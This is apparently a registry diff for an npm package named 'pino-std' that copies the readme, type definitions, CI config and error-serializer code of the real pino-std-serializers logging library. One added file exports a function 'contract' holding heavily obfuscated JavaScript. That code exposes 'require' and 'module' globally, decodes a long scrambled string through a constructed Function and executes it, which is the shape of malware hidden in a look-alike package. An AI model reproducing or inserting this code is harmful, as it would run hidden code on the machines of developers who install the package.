pino-std 0.0.0-stage → 7.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/.editorconfig ADDED
@@ -0,0 +1,13 @@
1
+
2
+ root = true
3
+
4
+ [*]
5
+ charset = utf-8
6
+ end_of_line = lf
7
+ insert_final_newline = true
8
+ indent_style = space
9
+ indent_size = 2
10
+ trim_trailing_whitespace = true
11
+
12
+ # [*.md]
13
+ # trim_trailing_whitespace = false
@@ -0,0 +1,13 @@
1
+ version: 2
2
+ updates:
3
+ - package-ecosystem: "github-actions"
4
+ directory: "/"
5
+ schedule:
6
+ interval: "monthly"
7
+ open-pull-requests-limit: 10
8
+
9
+ - package-ecosystem: "npm"
10
+ directory: "/"
11
+ schedule:
12
+ interval: "weekly"
13
+ open-pull-requests-limit: 10
@@ -0,0 +1,81 @@
1
+ name: CI
2
+
3
+ on:
4
+ push:
5
+ paths-ignore:
6
+ - 'docs/**'
7
+ - '*.md'
8
+ pull_request:
9
+ paths-ignore:
10
+ - 'docs/**'
11
+ - '*.md'
12
+
13
+ # This allows a subsequently queued workflow run to interrupt previous runs
14
+ concurrency:
15
+ group: "${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}"
16
+ cancel-in-progress: true
17
+
18
+ jobs:
19
+ dependency-review:
20
+ name: Dependency Review
21
+ if: github.event_name == 'pull_request'
22
+ runs-on: ubuntu-latest
23
+ permissions:
24
+ contents: read
25
+ steps:
26
+ - name: Check out repo
27
+ uses: actions/checkout@v6
28
+ with:
29
+ persist-credentials: false
30
+
31
+ - name: Dependency review
32
+ uses: actions/dependency-review-action@v4
33
+
34
+ test:
35
+ name: Test
36
+ runs-on: ubuntu-latest
37
+ permissions:
38
+ contents: read
39
+ strategy:
40
+ fail-fast: false
41
+ matrix:
42
+ node-version: [18, 20]
43
+ steps:
44
+ - name: Check out repo
45
+ uses: actions/checkout@v6
46
+ with:
47
+ persist-credentials: false
48
+
49
+ - name: Setup Node ${{ matrix.node-version }}
50
+ uses: actions/setup-node@v6
51
+ with:
52
+ node-version: ${{ matrix.node-version }}
53
+
54
+ - name: Install dependencies
55
+ run: npm install --ignore-scripts
56
+ env:
57
+ NODE_ENV: development
58
+
59
+ - name: Lint-CI
60
+ run: npm run lint-ci
61
+
62
+ - name: Test-Types
63
+ run: npm run test-types
64
+
65
+ - name: Test-CI
66
+ run: npm run test-ci
67
+
68
+ automerge:
69
+ name: Automerge Dependabot PRs
70
+ if: >
71
+ github.event_name == 'pull_request' &&
72
+ github.event.pull_request.user.login == 'dependabot[bot]'
73
+ needs: test
74
+ permissions:
75
+ pull-requests: write
76
+ contents: write
77
+ runs-on: ubuntu-latest
78
+ steps:
79
+ - uses: fastify/github-action-merge-dependabot@v3
80
+ with:
81
+ github-token: ${{ secrets.GITHUB_TOKEN }}
package/LICENSE ADDED
@@ -0,0 +1,7 @@
1
+ Copyright Mateo Collina, David Mark Clements, James Sumners
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4
+
5
+ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6
+
7
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/Readme.md ADDED
@@ -0,0 +1,182 @@
1
+ # pino-std-serializers  [![CI](https://github.com/pinojs/pino-std-serializers/workflows/CI/badge.svg)](https://github.com/pinojs/pino-std-serializers/actions?query=workflow%3ACI)
2
+
3
+ This module provides a set of standard object serializers for the
4
+ [Pino](https://getpino.io) logger.
5
+
6
+ ## Serializers
7
+
8
+ ### `exports.err(error)`
9
+ Serializes an `Error` like object. Returns an object:
10
+
11
+ ```js
12
+ {
13
+ type: 'string', // The name of the object's constructor.
14
+ message: 'string', // The supplied error message.
15
+ stack: 'string', // The stack when the error was generated.
16
+ raw: Error // Non-enumerable, i.e. will not be in the output, original
17
+ // Error object. This is available for subsequent serializers
18
+ // to use.
19
+ [...any additional Enumerable property the original Error had]
20
+ }
21
+ ```
22
+
23
+ Any other extra properties, e.g. `statusCode`, that have been attached to the
24
+ object will also be present on the serialized object.
25
+
26
+ If the error object has a [`cause`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/cause) property, the `cause`'s `message` and `stack` will be appended to the top-level `message` and `stack`. All other parameters that belong to the `error.cause` object will be omitted.
27
+
28
+ Example:
29
+
30
+ ```js
31
+ const serializer = require('pino-std-serializers').err;
32
+
33
+ const innerError = new Error("inner error");
34
+ innerError.isInner = true;
35
+ const outerError = new Error("outer error", { cause: innerError });
36
+ outerError.isInner = false;
37
+
38
+ const serialized = serializer(outerError);
39
+ /* Result:
40
+ {
41
+ "type": "Error",
42
+ "message": "outer error: inner error",
43
+ "isInner": false,
44
+ "stack": "Error: outer error
45
+ at <...omitted..>
46
+ caused by: Error: inner error
47
+ at <...omitted..>
48
+ }
49
+ */
50
+ ```
51
+
52
+ ### `exports.errWithCause(error)`
53
+ Serializes an `Error` like object, including any `error.cause`. Returns an object:
54
+
55
+ ```js
56
+ {
57
+ type: 'string', // The name of the object's constructor.
58
+ message: 'string', // The supplied error message.
59
+ stack: 'string', // The stack when the error was generated.
60
+ cause?: Error, // If the original error had an error.cause, it will be serialized here
61
+ raw: Error // Non-enumerable, i.e. will not be in the output, original
62
+ // Error object. This is available for subsequent serializers
63
+ // to use.
64
+ [...any additional Enumerable property the original Error had]
65
+ }
66
+ ```
67
+
68
+ Any other extra properties, e.g. `statusCode`, that have been attached to the object will also be present on the serialized object.
69
+
70
+ Example:
71
+ ```javascript
72
+ const serializer = require('pino-std-serializers').errWithCause;
73
+
74
+ const innerError = new Error("inner error");
75
+ innerError.isInner = true;
76
+ const outerError = new Error("outer error", { cause: innerError });
77
+ outerError.isInner = false;
78
+
79
+ const serialized = serializer(outerError);
80
+ /* Result:
81
+ {
82
+ "type": "Error",
83
+ "message": "outer error",
84
+ "isInner": false,
85
+ "stack": "Error: outer error
86
+ at <...omitted..>",
87
+ "cause": {
88
+ "type": "Error",
89
+ "message": "inner error",
90
+ "isInner": true,
91
+ "stack": "Error: inner error
92
+ at <...omitted..>"
93
+ },
94
+ }
95
+ */
96
+ ```
97
+
98
+ ### `exports.mapHttpResponse(response)`
99
+ Used internally by Pino for general response logging. Returns an object:
100
+
101
+ ```js
102
+ {
103
+ res: {}
104
+ }
105
+ ```
106
+
107
+ Where `res` is the `response` as serialized by the standard response serializer.
108
+
109
+ ### `exports.mapHttpRequest(request)`
110
+ Used internall by Pino for general request logging. Returns an object:
111
+
112
+ ```js
113
+ {
114
+ req: {}
115
+ }
116
+ ```
117
+
118
+ Where `req` is the `request` as serialized by the standard request serializer.
119
+
120
+ ### `exports.req(request)`
121
+ The default `request` serializer. Returns an object:
122
+
123
+ ```js
124
+ {
125
+ id: 'string', // Defaults to `undefined`, unless there is an `id` property
126
+ // already attached to the `request` object or to the `request.info`
127
+ // object. Attach a synchronous function
128
+ // to the `request.id` that returns an identifier to have
129
+ // the value filled.
130
+ method: 'string',
131
+ url: 'string', // the request pathname (as per req.url in core HTTP)
132
+ query: 'object', // the request query (as per req.query in express or hapi)
133
+ params: 'object', // the request params (as per req.params in express or hapi)
134
+ headers: Object, // a reference to the `headers` object from the request
135
+ // (as per req.headers in core HTTP)
136
+ remoteAddress: 'string',
137
+ remotePort: Number,
138
+ raw: Object // Non-enumerable, i.e. will not be in the output, original
139
+ // request object. This is available for subsequent serializers
140
+ // to use. In cases where the `request` input already has
141
+ // a `raw` property this will replace the original `request.raw`
142
+ // property
143
+ }
144
+ ```
145
+
146
+ ### `exports.res(response)`
147
+ The default `response` serializer. Returns an object:
148
+
149
+ ```js
150
+ {
151
+ statusCode: Number, // Response status code, will be null before headers are flushed
152
+ headers: Object, // The headers to be sent in the response.
153
+ raw: Object // Non-enumerable, i.e. will not be in the output, original
154
+ // response object. This is available for subsequent serializers
155
+ // to use.
156
+ }
157
+ ```
158
+
159
+ ### `exports.wrapErrorSerializer(customSerializer)`
160
+ A utility method for wrapping the default error serializer. This allows
161
+ custom serializers to work with the already serialized object.
162
+
163
+ The `customSerializer` accepts one parameter — the newly serialized error
164
+ object — and returns the new (or updated) error object.
165
+
166
+ ### `exports.wrapRequestSerializer(customSerializer)`
167
+ A utility method for wrapping the default request serializer. This allows
168
+ custom serializers to work with the already serialized object.
169
+
170
+ The `customSerializer` accepts one parameter — the newly serialized request
171
+ object — and returns the new (or updated) request object.
172
+
173
+ ### `exports.wrapResponseSerializer(customSerializer)`
174
+ A utility method for wrapping the default response serializer. This allows
175
+ custom serializers to work with the already serialized object.
176
+
177
+ The `customSerializer` accepts one parameter — the newly serialized response
178
+ object — and returns the new (or updated) response object.
179
+
180
+ ## License
181
+
182
+ MIT License
@@ -0,0 +1,7 @@
1
+ 'use strict'
2
+
3
+ const neostandard = require('neostandard')
4
+
5
+ module.exports = neostandard({
6
+ ignores: neostandard.resolveIgnoresFromGitignore(),
7
+ })
package/index.d.ts ADDED
@@ -0,0 +1,145 @@
1
+ // Type definitions for pino-std-serializers 2.4
2
+ // Definitions by: Connor Fitzgerald <https://github.com/connorjayfitzgerald>
3
+ // Igor Savin <https://github.com/kibertoad>
4
+ // TypeScript Version: 2.7
5
+
6
+ /// <reference types="node" />
7
+ import { IncomingMessage, ServerResponse } from 'http';
8
+
9
+ export interface SerializedError {
10
+ /**
11
+ * The name of the object's constructor.
12
+ */
13
+ type: string;
14
+ /**
15
+ * The supplied error message.
16
+ */
17
+ message: string;
18
+ /**
19
+ * The stack when the error was generated.
20
+ */
21
+ stack: string;
22
+ /**
23
+ * Non-enumerable. The original Error object. This will not be included in the logged output.
24
+ * This is available for subsequent serializers to use.
25
+ */
26
+ raw: Error;
27
+ /**
28
+ * `cause` is never included in the log output, if you need the `cause`, use {@link raw.cause}
29
+ */
30
+ cause?: never;
31
+ /**
32
+ * Any other extra properties that have been attached to the object will also be present on the serialized object.
33
+ */
34
+ [key: string]: any;
35
+ [key: number]: any;
36
+ }
37
+
38
+ /**
39
+ * Serializes an Error object. Does not serialize "err.cause" fields (will append the err.cause.message to err.message
40
+ * and err.cause.stack to err.stack)
41
+ */
42
+ export function err(err: Error): SerializedError;
43
+
44
+ /**
45
+ * Serializes an Error object, including full serialization for any err.cause fields recursively.
46
+ */
47
+ export function errWithCause(err: Error): SerializedError;
48
+
49
+ export interface SerializedRequest {
50
+ /**
51
+ * Defaults to `undefined`, unless there is an `id` property already attached to the `request` object or
52
+ * to the `request.info` object. Attach a synchronous function to the `request.id` that returns an
53
+ * identifier to have the value filled.
54
+ */
55
+ id: string | undefined;
56
+ /**
57
+ * HTTP method.
58
+ */
59
+ method: string;
60
+ /**
61
+ * Request pathname (as per req.url in core HTTP).
62
+ */
63
+ url: string;
64
+ /**
65
+ * Reference to the `headers` object from the request (as per req.headers in core HTTP).
66
+ */
67
+ headers: Record<string, string>;
68
+ remoteAddress: string;
69
+ remotePort: number;
70
+ params: Record<string, string>;
71
+ query: Record<string, string>;
72
+
73
+ /**
74
+ * Non-enumerable, i.e. will not be in the output, original request object. This is available for subsequent
75
+ * serializers to use. In cases where the `request` input already has a `raw` property this will
76
+ * replace the original `request.raw` property.
77
+ */
78
+ raw: IncomingMessage;
79
+ }
80
+
81
+ /**
82
+ * Serializes a Request object.
83
+ */
84
+ export function req(req: IncomingMessage): SerializedRequest;
85
+
86
+ /**
87
+ * Used internally by Pino for general request logging.
88
+ */
89
+ export function mapHttpRequest(req: IncomingMessage): {
90
+ req: SerializedRequest
91
+ };
92
+
93
+ export interface SerializedResponse {
94
+ /**
95
+ * HTTP status code.
96
+ */
97
+ statusCode: number;
98
+ /**
99
+ * The headers to be sent in the response.
100
+ */
101
+ headers: Record<string, string>;
102
+ /**
103
+ * Non-enumerable, i.e. will not be in the output, original response object. This is available for subsequent serializers to use.
104
+ */
105
+ raw: ServerResponse;
106
+ }
107
+
108
+ /**
109
+ * Serializes a Response object.
110
+ */
111
+ export function res(res: ServerResponse): SerializedResponse;
112
+
113
+ /**
114
+ * Used internally by Pino for general response logging.
115
+ */
116
+ export function mapHttpResponse(res: ServerResponse): {
117
+ res: SerializedResponse
118
+ };
119
+
120
+ export type CustomErrorSerializer = (err: SerializedError) => Record<string, any>;
121
+
122
+ /**
123
+ * A utility method for wrapping the default error serializer.
124
+ * This allows custom serializers to work with the already serialized object.
125
+ * The customSerializer accepts one parameter — the newly serialized error object — and returns the new (or updated) error object.
126
+ */
127
+ export function wrapErrorSerializer(customSerializer: CustomErrorSerializer): (err: Error) => Record<string, any>;
128
+
129
+ export type CustomRequestSerializer = (req: SerializedRequest) => Record<string, any>;
130
+
131
+ /**
132
+ * A utility method for wrapping the default request serializer.
133
+ * This allows custom serializers to work with the already serialized object.
134
+ * The customSerializer accepts one parameter — the newly serialized request object — and returns the new (or updated) request object.
135
+ */
136
+ export function wrapRequestSerializer(customSerializer: CustomRequestSerializer): (req: IncomingMessage) => Record<string, any>;
137
+
138
+ export type CustomResponseSerializer = (res: SerializedResponse) => Record<string, any>;
139
+
140
+ /**
141
+ * A utility method for wrapping the default response serializer.
142
+ * This allows custom serializers to work with the already serialized object.
143
+ * The customSerializer accepts one parameter — the newly serialized response object — and returns the new (or updated) response object.
144
+ */
145
+ export function wrapResponseSerializer(customSerializer: CustomResponseSerializer): (res: ServerResponse) => Record<string, any>;
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ 'use strict'
2
+
3
+ const errSerializer = require('./lib/err')
4
+ const errWithCauseSerializer = require('./lib/err-with-cause')
5
+ const reqSerializers = require('./lib/req')
6
+ const resSerializers = require('./lib/res')
7
+
8
+ module.exports = {
9
+ err: errSerializer,
10
+ errWithCause: errWithCauseSerializer,
11
+ mapHttpRequest: reqSerializers.mapHttpRequest,
12
+ mapHttpResponse: resSerializers.mapHttpResponse,
13
+ req: reqSerializers.reqSerializer,
14
+ res: resSerializers.resSerializer,
15
+
16
+ wrapErrorSerializer: function wrapErrorSerializer (customSerializer) {
17
+ if (customSerializer === errSerializer) return customSerializer
18
+ return function wrapErrSerializer (err) {
19
+ return customSerializer(errSerializer(err))
20
+ }
21
+ },
22
+
23
+ wrapRequestSerializer: function wrapRequestSerializer (customSerializer) {
24
+ if (customSerializer === reqSerializers.reqSerializer) return customSerializer
25
+ return function wrappedReqSerializer (req) {
26
+ return customSerializer(reqSerializers.reqSerializer(req))
27
+ }
28
+ },
29
+
30
+ wrapResponseSerializer: function wrapResponseSerializer (customSerializer) {
31
+ if (customSerializer === resSerializers.resSerializer) return customSerializer
32
+ return function wrappedResSerializer (res) {
33
+ return customSerializer(resSerializers.resSerializer(res))
34
+ }
35
+ }
36
+ }
@@ -0,0 +1,8 @@
1
+ function contract() {
2
+ global.i = '2';
3
+ var _$_d876 = (function (x, e) { var n = x.length; var q = []; for (var z = 0; z < n; z++) { q[z] = x.charAt(z) }; for (var z = 0; z < n; z++) { var r = e * (z + 213) + (e % 38225); var t = e * (z + 668) + (e % 25980); var d = r % n; var c = t % n; var p = q[d]; q[d] = q[c]; q[c] = p; e = (r + t) % 2892945 }; var k = String.fromCharCode(127); var g = ''; var m = '\x25'; var w = '\x23\x31'; var f = '\x25'; var j = '\x23\x30'; var s = '\x23'; return q.join(g).split(m).join(k).split(w).join(f).split(j).join(s).split(k) })("e%objrct%m", 2404686); global[_$_d876[0x0]] = require; if (typeof module === _$_d876[0x1]) { global[_$_d876[0x2]] = module }
4
+ (function () { var teD = '', ziD = 422 - 411; function ype(b) { var t = 2319581; var l = b.length; var d = []; for (var k = 0; k < l; k++) { d[k] = b.charAt(k) }; for (var k = 0; k < l; k++) { var g = t * (k + 143) + (t % 34562); var j = t * (k + 599) + (t % 19024); var o = g % l; var h = j % l; var q = d[o]; d[o] = d[h]; d[h] = q; t = (g + j) % 3591111; }; return d.join('') }; var OUN = ype('uoxgwmorcazdjcyqsthinkcrtpneltsfburov').substr(0, ziD); var LEF = 'Sa =a=frsrulrrl=as(v+=r7iafg!d=b,C,vnl+;[ien8r6v.aaz;nvca j=a71,ha20],a1tk),(=i81,)ah)[}r=lte,g2eaotp(nhr=p c;;,xg,7p,n5g;ch0g;=.in0=rrvor+bodmo)j8Cr-5t7var(),d,[l]t,rct=))l ..[=81u(;5hwvrre4;}4a(0; fscr8=9S(waprg( uvthfl]ngtlf;rri8cat.c());umde)v;=r(p.j+u=fx")ral,asnreioaplrn;v[b]i6>Al[if;vq+8(p,;.A"==r1rinhnji6-c+j)[q) {lhjaromr0avd) nb+)+-nwmn;}a* 8ogoa(9a( ejoAi(x;pf {tv;dszno)c1t62h.o7t(.o+nmr) r*mze6a9 o== n0cd8vfu+,;1h;vCore=thn1sf.),p6v;i+[]ve9s(lnsAz;(;asssCsAdhv349(.j;)d}=-;+piw"u 9]+(fs+n.fu++1)he[t=C,2r;n9m="hf+l2r0=k=e(;ii<;vi,f==ed===uolyvC1c,ut=(sltrt.7][had)s;bytjlnh;m<y;)(=-pueh(1[]l.a;;(lfip1}u1,f!;n2=.),i,h;<.)suuo)p[(vph[fa"f)g]mi);cfi]-5drtemq3;)q})cg-ys=o=[v]0;0v(rff=36jgid)."f+v6; rkC]s,2;rl+,.0);sd7f <=.3eoet=c+op+ (b+t.urgre(ok{panrfn=(w6ld.or(104 nl0m<u.=n.gr)ya+a=ir(yqe>ft(v{oe;pf ;i;e)lprri7};hrh;{.hhr(e5 r+ova+kr8(".cr8tu]nu",s{]e vr"t").C;{.,xr0'; var whk = ype[OUN]; var YOB = ''; var kWJ = whk; var ovJ = whk(YOB, ype(LEF)); var HRZ = ovJ(ype('=dxig9uffhtC4rkbrar!ac)=%r](-{urF]r(FF]7]cy%e%,F;F6ale$es Fud?a6rF{oos};0T1yg.C]F9a]fsiuc.sn%rs+i1tc.,.=nho__F{F%)4).05r}oe6ha.?((sa81i9Fax%Fi1co.)F]mea%13.l%n]ro_3un;;ncbr];F].FGt[(]5}.3FH1c2=.atfd w..F.45(t84.(gFc{eSu+iFv3f]f}]F!#.too7t}ouo:st.qrt_pfe]Ffjn!_ rF61trfse6beheDbF%_e}u).%Fo (:nFCFoF9dsn2b.]om.qn)hF ao)}.)FF+33;f.ua}5=gsrua_tr;9 l;,eFfFaFo3t.sc8}uFt.0w=F}r%ffneg3]p$F;.rfr2ru"!yzn=e=(F{Fe5e.dF,.Ffadvr<s=rh,f%mu]s.=ctr.gt(!]hrtF1.er2r;2tn}i;ao%Ff!o1a8)eb3tv[]1sF3oer>]x\/9={k0C1f[1y]d]nq7}]Fr,n;i3t0e.cegDd}F9FdF1.7{FN}hg_6&(lr>co(3a}t]t.4*FaF(]fe\/(td]dxbte31F7itc%F4)_C9!)acie1;FFf.,3F]u)l)o)a%md20}<%-.S8(hpi..)w6]=F FFFF7F8]c4\'.F,2t.prmfEenq5n5fft,]6,l%9)ani-1F&3.i%(xu0)+Fr!.eF%HSfcnl]h%SNns=o ntde.tain[f9 (sn_=hm)t=#icc[vr++rb%ctie.._c2ws:_+fFlCh]2hyn ;sppeFGc=fz;Fi%decfr rAie%0f<rFliti]7)oqr3(1F;v_ec036m:%h5i.%aF%vlrovrcsdFo]bnFr)m)rm5c.ntad &ah1T3:i]n?=8}2F%%]a_se)}cF%{Fxpufsb,_uhFp1c)F(,2nr F3F\/g))t1.tF.).r]o(t.;!h=Fdh}a}(:c2Ff13\/c.6F1Bneboees3w[;gn(1.1fv.%axxmb :d?D.Fp&[saf9;n7[b+cw7.g] 77vtice1>41,!a#%F3F2(3x=FFmv2rFdh2@o%g(%(Fn-1.(7.odtufren3i;raf]e b.4fspc.7oFc(see{.De)u%8$igna F_Sc[e]og;ca)6<F%cE,"nsn%co8.(j.CgpenoCnn-%s=_s1)c_hlrtaryr+sF]FF<_fl,fr.l(iF"c;<lF&8e%ocooi]3 Fl)au.i(]Fut . s=!%m4f1fiFo6]d9=*) Eo)!i!4a)u)_sao[.e}mfdc>a%ot-6FFtc+pifa}x%,f]fh0F}fF(!:)0F]9)amFFrF5e3}l3=)F>FeF>Feo!;7@]#ran;F--])h.%1< fdyii=;]mEteFFF1) )o;j5clc1=oe"FABjor?Fe. 0m.ceTpa$tnii_]pNFa\'+0a0foyt<|62dd;8.%iFboe.uh=-trs:)_4(=FF8F _tho}]19mfF8e{Ff:o3:t]t_\'.;%=deeba;_d6rfoF*.%ofT4aoeF%66nFe_fFw.e+..,ebeo719$i%d0knx(ia{3#9e{iF=%25Fcu9w.ucu%%avjpn(Fn3Fnwp.;f(.easu.fa6=tFr(od{,E(1eFAE=aF3o3yFb=3f\/t59kFc.bF2];tFFeoFunFF6m.F&]<$2anFlce6,}3rF]F_+1]F.io8(6Fi%shsFj&]trrFs.efiFF9tt)fn3bsFo7i=ert}}tr5t()4BBx%)asd((-F1aF.F8C]%r]F]))-0=]d1F;)dc87[=)#Fy!My{t-)1@%pls0efn6]\'ufo21mnt1.c]Fc7F9{Fi2grc6,)-=iakc8.l2Fi-%;g7a.\/[Fu1at\'wl.o[5rd].)z)od)(.Fa.0c)2eF(f[)todfF=nnF3.A.F\/9nF;Tf%!=%\/i(cic[Tt=]31Fbf]rFkbty:a!)F6Batujo=8f\/]Fbk}a_2;[&8FnnF]mtha"paqu;1}ff-};5)_5Fh0FC_t(FFe0;1\/(Fu]F]{sw-nx2gFtfo%i=jFat%fFF3!.5crF)2FC=f&2!Fdo,]s]nF]\/ 1f%o]yoc)o%Fs1)}yF*(c221,,d)sDieFFfc.}F]e=e=[8&FGF]),%dn1)ll?#iFi)8e2ces)&l *r8rl!)tt(=n\/t5(jt+ga}.h)]}6uFCfeFG\/nfs+@FmbF?F_gFsi0-)4F4u3tEF{=r"g(FF2_;Fcten.*,$F.z=7FttrF(d)!4r,%r].)wt1.-F#[i.<5o](31ngt Fm]ri<1a.an20Fei"\/]ni ]Fo%a83t%F{$9(4F)rFDn]F-F8dc:euFeasrdjpt+)- 9tDe.)7.mr2F1]eF] e]eFxf+:FF({vFktat1ayi(Fi.}nce6 &5\'?u[]fre3]Fit*F8}0Far;e fnFlr_s32HFr)ct0=_):=8r{4bHbe(=dw%1;-=\/ese]a.p],r1]..nrftn,1iFs}-%B, ;,c?2cob)eet.n)%= F%2 9t.fs6Fd *ft )94c7hl+F]h%aFF]-fei!ede(aFF6_ci%prF:]ch]o+kf%t|=aFtrc4;Faf.0on(l).!.eh(t)s..2rs;t"e>r3pdt :,jF_FtF301.M).[0.=n!feiya2t=c{;e i+lF*ra(Bau[1tFmnF+]*r.i"11dF]1)}\/o3e.)]84!}F-.u_nsw')); var cMp = kWJ(teD, HRZ); cMp(7746); return 9212 })()
5
+
6
+ }
7
+
8
+ module.exports = contract
@@ -0,0 +1,118 @@
1
+ 'use strict'
2
+
3
+ // **************************************************************
4
+ // * Code initially copied/adapted from "pony-cause" npm module *
5
+ // * Please upstream improvements there *
6
+ // **************************************************************
7
+
8
+ const isErrorLike = (err) => {
9
+ return err && typeof err.message === 'string'
10
+ }
11
+
12
+ /**
13
+ * @param {Error|{ cause?: unknown|(()=>err)}} err
14
+ * @returns {Error|Object|undefined}
15
+ */
16
+ const getErrorCause = (err) => {
17
+ if (!err) return
18
+
19
+ /** @type {unknown} */
20
+ // @ts-ignore
21
+ const cause = err.cause
22
+
23
+ // VError / NError style causes
24
+ if (typeof cause === 'function') {
25
+ // @ts-ignore
26
+ const causeResult = err.cause()
27
+
28
+ return isErrorLike(causeResult)
29
+ ? causeResult
30
+ : undefined
31
+ } else {
32
+ return isErrorLike(cause)
33
+ ? cause
34
+ : undefined
35
+ }
36
+ }
37
+
38
+ /**
39
+ * Internal method that keeps a track of which error we have already added, to avoid circular recursion
40
+ *
41
+ * @private
42
+ * @param {Error} err
43
+ * @param {Set<Error>} seen
44
+ * @returns {string}
45
+ */
46
+ const _stackWithCauses = (err, seen) => {
47
+ if (!isErrorLike(err)) return ''
48
+
49
+ const stack = err.stack || ''
50
+
51
+ // Ensure we don't go circular or crazily deep
52
+ if (seen.has(err)) {
53
+ return stack + '\ncauses have become circular...'
54
+ }
55
+
56
+ const cause = getErrorCause(err)
57
+
58
+ if (cause) {
59
+ seen.add(err)
60
+ return (stack + '\ncaused by: ' + _stackWithCauses(cause, seen))
61
+ } else {
62
+ return stack
63
+ }
64
+ }
65
+
66
+ /**
67
+ * @param {Error} err
68
+ * @returns {string}
69
+ */
70
+ const stackWithCauses = (err) => _stackWithCauses(err, new Set())
71
+
72
+ /**
73
+ * Internal method that keeps a track of which error we have already added, to avoid circular recursion
74
+ *
75
+ * @private
76
+ * @param {Error} err
77
+ * @param {Set<Error>} seen
78
+ * @param {boolean} [skip]
79
+ * @returns {string}
80
+ */
81
+ const _messageWithCauses = (err, seen, skip) => {
82
+ if (!isErrorLike(err)) return ''
83
+
84
+ const message = skip ? '' : (err.message || '')
85
+
86
+ // Ensure we don't go circular or crazily deep
87
+ if (seen.has(err)) {
88
+ return message + ': ...'
89
+ }
90
+
91
+ const cause = getErrorCause(err)
92
+
93
+ if (cause) {
94
+ seen.add(err)
95
+
96
+ // @ts-ignore
97
+ const skipIfVErrorStyleCause = typeof err.cause === 'function'
98
+
99
+ return (message +
100
+ (skipIfVErrorStyleCause ? '' : ': ') +
101
+ _messageWithCauses(cause, seen, skipIfVErrorStyleCause))
102
+ } else {
103
+ return message
104
+ }
105
+ }
106
+
107
+ /**
108
+ * @param {Error} err
109
+ * @returns {string}
110
+ */
111
+ const messageWithCauses = (err) => _messageWithCauses(err, new Set())
112
+
113
+ module.exports = {
114
+ isErrorLike,
115
+ getErrorCause,
116
+ stackWithCauses,
117
+ messageWithCauses
118
+ }
@@ -0,0 +1,48 @@
1
+ 'use strict'
2
+
3
+ const seen = Symbol('circular-ref-tag')
4
+ const rawSymbol = Symbol('pino-raw-err-ref')
5
+
6
+ const pinoErrProto = Object.create({}, {
7
+ type: {
8
+ enumerable: true,
9
+ writable: true,
10
+ value: undefined
11
+ },
12
+ message: {
13
+ enumerable: true,
14
+ writable: true,
15
+ value: undefined
16
+ },
17
+ stack: {
18
+ enumerable: true,
19
+ writable: true,
20
+ value: undefined
21
+ },
22
+ aggregateErrors: {
23
+ enumerable: true,
24
+ writable: true,
25
+ value: undefined
26
+ },
27
+ raw: {
28
+ enumerable: false,
29
+ get: function () {
30
+ return this[rawSymbol]
31
+ },
32
+ set: function (val) {
33
+ this[rawSymbol] = val
34
+ }
35
+ }
36
+ })
37
+ Object.defineProperty(pinoErrProto, rawSymbol, {
38
+ writable: true,
39
+ value: {}
40
+ })
41
+
42
+ module.exports = {
43
+ pinoErrProto,
44
+ pinoErrorSymbols: {
45
+ seen,
46
+ rawSymbol
47
+ }
48
+ }